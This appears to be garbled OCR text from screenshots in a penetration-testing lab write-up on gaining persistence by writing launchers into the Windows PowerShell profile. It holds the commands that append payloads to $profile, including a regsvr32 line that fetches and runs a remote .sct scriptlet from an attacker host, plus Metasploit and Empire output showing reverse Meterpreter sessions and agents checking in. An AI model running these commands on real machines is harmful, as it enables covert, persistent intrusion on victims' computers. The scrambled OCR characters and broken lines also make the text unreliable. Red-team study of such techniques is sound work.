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echo Sprofile

Test-Path S$profile

New-Item -Path Sprofile -Type File -Force

Sstring = 'Start-Process "C:\tmp\pentestlab.exe™'

Sstring | Out-File -FilePath
"C:\Users\pentestlab\Documents\WindowsPowerShell\Microsoft.PowerShell profile.ps
1" -Append

ers\pentestlab> echo S$profile
entestlab‘\Documents‘\WindowsPowersShel1\Microsoft. Powershell_profile.psl
s\pentestlab> Test-Path Sprofile

Users\pentestlab> New-Item -Path $profile -Type File -Force
Directory: C:\Users\pentestlab\Documents\WindowsPowershell

LastwriteTime Length Name

11/5/2019 4:29 AM 0 Microsoft.Powershell_profile.psl

s\pentestlab> $string = 'Start-Process "C:\tmp\pentestlab.exe"'
U

s\pentestlab> $string | Oout-File -FilePath "
le.psl"” -Append
S C:\Users\pentestlab>

\Users\pentestlab\Documents\WindowsPowershell\Microsoft.Powershe
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w»plult;multlfhdndlrr
) = set payload windows/x64/meterpreter/reverse tcp
== WlﬁduWHJHﬂ43mrtwrpr r/reverse tcp
msf5 exploit( ) = set LHOST 18.0.2.21
LHOST == 10.0.2.21

msf5 exploit( ) = set LPORT 4444
LPORT == 4444

msf5 exploit( ] exploit

[#]1 Started reverse TCP handler on 18.08.2.21:4444

[#] Sending stage (206403 byte to 10.0.2.40

[#] Meterpreter session 1 opened (10.0.2.21:4444 -> 10.0.2.40:49158) at 2019-11-
04 15:35:43 -0500
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echo Sprofile

Test-Path Sprofile

New-Item -Path S$profile -Type File -Force

Add-Content S$profile "Invoke-Item C:\tmp\launcher.bat"

Sstring | Out-File -FilePath
"C:\Users\pentestlab\Documents\WindowsPowerShell\Microsoft.PowerShell profile.ps
1" -Append

\Users\pentestlab> e Spr e
A entedt11b\Documents \1nd0haP0\e|she11 \Microsoft.Powershell_profile.psl
PS C:\Users\ \pentestlab> Test-Path $profile
rue
PS C:\Users\pentestlab> New-Item -Path Sprofile -Type File -Force

Directory: C:\Users\pentestlab\Documents'WindowsPowershell

LastwriteTime Length Name

11/5/2019 5:20 PM 0 Microsoft.Powershell_profile.psl

:\Usersipentestlab> Add-Content $profile "Invoke-Item C:‘\tmp\launcher.bat"
Entest1abd §string | out-File -FilePath "C:‘\Users\pentestlab\Documents‘\WindowsPowershell\Microsoft.PowersShe
" Ap en
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(Empire: agents) > [*] Sending POWERSHELL stager (stage 1) to 10.0.2.40
[*] New nt V2ZEZSPAR checked in

[+] Initial agent V2EZSPAR from 10.0.2.40 now active (Slack)

[#] Sending agent (stage 2) to V2ZEZSPAR at 10.06.2.40

(Empire: agents) = interact V2EZSPAR
(Empire: } > sysinfo
Tasked V2EZSPAR to run TASK_SYSINFO
Agent V2ZEZSPAR tasked with task ID 1
(Empire: ) = sysinfo: ©0|http://10.0.2.21:80|0 777 |pentestlab|VEGA|108.0.2
.40 |Microsoft Windows 7 Enterprise |False|powershell|2488|powershell|5

[#] Agent V2EZSPAR returned resultis.
Listener: http://10.0.2.21:80
Internal IP: 10.0.2.40
Username: _oToT\pentestlab
Hostname: VEGA
Microsoft Windows 7 Enterprise
2]
powershell
2488

powershell
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echo S$profile

Test-Path Sprofile

New-Item -Path Sprofile -Type File -Force

Sstring = 'Invoke-Command -ScriptBlock { regsvr32 /s /n /u
/i:http://10.0.2.21:8080/jWcEbr.sct s

crobj.dll }'

Sstring | Out-File -FilePath
"C:\Users\pentestlab\Documents\WindowsPowerShell\Microsoft.PowerShell profile.ps
1" -Append

rs\pentestlab> echo $profile e )
entestlab\Documents\WindowsPowershell\Microsoft.Powershell_profile.psl
sers\pentestlab> Test-Path Sprofile

:\Users\pentestlab> New-Item -Path $profile -Type File -Force
Directory: C:\Users\pentestlab\Documents\windowsPowershell

LastwriteTime Length Name

0 Microsoft.Powershell_profile.psl

PS g;%g%$r§1pentest1ab} $string = 'Invoke-Command -ScriptBlock { regsvr32 /s /n /u /i:http://10.0.2.21:8080/jwWcEbr.sct s
crobj. !
PS C:\Users\pentestlab> $string | Out-File -FilePath "C:\Users'\pentestlab\Documents\windowsPowershell\Microsoft.PowersShe
11_profile.psl"” -Append

:\Users\pentestlab>
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msfS exploit( ) =
[*] 10.0.2.40 web delivery - Handling .sct Request

2
[*] 10.8.2.48 web delivery - Delivering Payload (2137) bytes
[*] Sending stage (206403 bytes) to 10.0.2.40
[#] Meterpreter session 6 opened (10.0.2.21:4446 -> 10.0.2.40:49961) at 2019-11-

05 085:19:28 -8500

nsf5 exploit(
[#] Starting interaction with 6...
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